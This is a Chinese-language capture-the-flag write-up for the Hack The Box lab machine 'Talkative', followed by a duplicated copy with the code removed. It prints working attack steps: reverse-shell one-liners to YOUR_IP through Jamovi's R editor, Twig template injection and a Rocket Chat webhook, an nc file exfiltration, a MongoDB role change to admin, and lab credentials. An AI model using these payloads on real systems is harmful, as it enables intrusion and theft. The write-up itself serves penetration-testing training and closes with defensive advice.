多种技巧打靶HTB_Talkative
字数 1379 2025-08-12 11:34:29

HTB_Talkative靶机渗透测试教学文档

一、信息收集阶段

1. 端口扫描

使用nmap进行初始扫描:

nmap -sV -p- 10.10.11.x

发现开放端口:

  • 80: Apache HTTP服务
  • 8080, 8081, 8082: Tornado (Python Web框架)
  • 3000: Rocket Chat实例
  • 其他服务

2. 目录爆破

使用wfuzz工具对80端口进行目录爆破:

wfuzz -c -w /path/to/wordlist -u http://talkative.htb/FUZZ

3. 框架识别

通过报错信息识别出Bolt CMS框架(PHP编写),使用feroxbuster进行更深入的目录扫描:

feroxbuster -u http://talkative.htb -x php

二、漏洞利用

1. Jamovi RCE漏洞利用

访问8080端口发现Jamovi框架,存在历史漏洞:

  1. 在"分析"选项卡中找到Rj Editor
  2. 使用R语言的system命令执行系统命令:
system("id", intern=TRUE)
  1. 反弹shell:
system("bash -c 'bash -i >& /dev/tcp/YOUR_IP/443 0<&1'", intern=TRUE)

2. 权限提升与信息收集

  1. 获取交互式shell:
script /dev/null -c bash
  1. 检查网络连接:
cat /proc/net/tcp
  1. 查找敏感文件,在/root目录下发现bolt-administration.omv文件

  2. 使用nc传输文件到本地:

# 靶机上
cat bolt-administration.omv | nc YOUR_IP 4444

# 本地
nc -lvnp 4444 > bolt-administration.omv
  1. 分析文件发现用户凭据:
matt@talkative.htb:jeO09ufhWD<s
janit@talkative.htb:bZ89h}V<S_DA

3. Bolt CMS模板注入

  1. 使用获取的凭据登录Bolt CMS后台
  2. 进入"查看和编辑模板" > "base-2021" > "index.twig"
  3. 添加Twig模板注入代码:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  1. 清除缓存使修改生效
  2. 反弹shell:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c 'bash -i >& /dev/tcp/YOUR_IP/443 0<&1'")}}

三、横向移动

1. 内网探测

  1. 发现当前环境为Docker容器(存在.dockerenv文件)
  2. 使用SSH尝试连接内网主机:
ssh matt@172.17.0.1

2. MongoDB未授权访问

  1. 上传nmap进行内网扫描:
./nmap -p- 172.17.0.2

发现27017端口开放(MongoDB)

  1. 使用Chisel建立隧道:
# 攻击机
./chisel server -p 8000 --reverse

# 靶机
./chisel client YOUR_IP:8000 R:27017:172.17.0.2:27017
  1. 连接MongoDB:
mongo --host localhost --port 27017
  1. 枚举数据库:
show dbs
use meteor
show collections
  1. 修改Rocket Chat管理员权限:
db.users.update({"_id": "ZLMid6a4h5YEosPQi"}, {$set: {"roles": ["admin"]}})

3. Rocket Chat WebHook利用

  1. 以管理员身份登录Rocket Chat
  2. 创建新的WebHook集成
  3. 在"脚本"字段添加反弹shell代码:
require('child_process').exec('bash -c "bash -i >& /dev/tcp/YOUR_IP/443 0<&1"')
  1. 触发WebHook:
curl http://talkative.htb:3000/hooks/WEBHOOK_ID

四、权限提升与最终利用

1. 使用CDK工具

  1. 上传CDK工具到靶机
  2. 利用cap_dac_read_search能力读取root.txt:
./cdk run cap-dac-read-search /root/root.txt

2. 使用pwncat进行持久化

./pwncat-cs YOUR_IP:4444

五、总结与关键点

  1. 多服务暴露:靶机暴露了多个服务(Apache, Tornado, Rocket Chat, Jamovi),增加了攻击面

  2. R语言命令注入:Jamovi的R编辑器允许直接执行系统命令,是初始突破点

  3. 凭证复用:在Docker容器中找到的凭证可用于SSH到主机

  4. 模板注入:Bolt CMS的模板编辑功能允许Twig模板注入导致RCE

  5. 内网横向移动

    • Docker容器环境
    • MongoDB未授权访问
    • 通过修改数据库提升Rocket Chat权限
    • WebHook集成功能导致RCE
  6. 权限提升

    • 使用CDK工具利用Linux能力
    • 读取敏感文件
  7. 工具链

    • nmap/wfuzz/feroxbuster:信息收集
    • chisel:内网穿透
    • mongo:数据库操作
    • CDK:容器环境渗透
    • pwncat:后渗透框架

六、防御建议

  1. 对Jamovi等分析软件实施严格的输入验证
  2. Bolt CMS应限制模板编辑权限
  3. MongoDB应配置认证
  4. Rocket Chat应限制WebHook的脚本执行能力
  5. 容器环境应实施适当的隔离和权限控制
  6. 定期更新所有服务组件
HTB_ Talkative靶机渗透测试教学文档 一、信息收集阶段 1. 端口扫描 使用nmap进行初始扫描: 发现开放端口: 80: Apache HTTP服务 8080, 8081, 8082: Tornado (Python Web框架) 3000: Rocket Chat实例 其他服务 2. 目录爆破 使用wfuzz工具对80端口进行目录爆破: 3. 框架识别 通过报错信息识别出Bolt CMS框架(PHP编写),使用feroxbuster进行更深入的目录扫描: 二、漏洞利用 1. Jamovi RCE漏洞利用 访问8080端口发现Jamovi框架,存在历史漏洞: 在"分析"选项卡中找到Rj Editor 使用R语言的system命令执行系统命令: 反弹shell: 2. 权限提升与信息收集 获取交互式shell: 检查网络连接: 查找敏感文件,在/root目录下发现bolt-administration.omv文件 使用nc传输文件到本地: 分析文件发现用户凭据: 3. Bolt CMS模板注入 使用获取的凭据登录Bolt CMS后台 进入"查看和编辑模板" > "base-2021" > "index.twig" 添加Twig模板注入代码: 清除缓存使修改生效 反弹shell: 三、横向移动 1. 内网探测 发现当前环境为Docker容器(存在.dockerenv文件) 使用SSH尝试连接内网主机: 2. MongoDB未授权访问 上传nmap进行内网扫描: 发现27017端口开放(MongoDB) 使用Chisel建立隧道: 连接MongoDB: 枚举数据库: 修改Rocket Chat管理员权限: 3. Rocket Chat WebHook利用 以管理员身份登录Rocket Chat 创建新的WebHook集成 在"脚本"字段添加反弹shell代码: 触发WebHook: 四、权限提升与最终利用 1. 使用CDK工具 上传CDK工具到靶机 利用cap_ dac_ read_ search能力读取root.txt: 2. 使用pwncat进行持久化 五、总结与关键点 多服务暴露 :靶机暴露了多个服务(Apache, Tornado, Rocket Chat, Jamovi),增加了攻击面 R语言命令注入 :Jamovi的R编辑器允许直接执行系统命令,是初始突破点 凭证复用 :在Docker容器中找到的凭证可用于SSH到主机 模板注入 :Bolt CMS的模板编辑功能允许Twig模板注入导致RCE 内网横向移动 : Docker容器环境 MongoDB未授权访问 通过修改数据库提升Rocket Chat权限 WebHook集成功能导致RCE 权限提升 : 使用CDK工具利用Linux能力 读取敏感文件 工具链 : nmap/wfuzz/feroxbuster:信息收集 chisel:内网穿透 mongo:数据库操作 CDK:容器环境渗透 pwncat:后渗透框架 六、防御建议 对Jamovi等分析软件实施严格的输入验证 Bolt CMS应限制模板编辑权限 MongoDB应配置认证 Rocket Chat应限制WebHook的脚本执行能力 容器环境应实施适当的隔离和权限控制 定期更新所有服务组件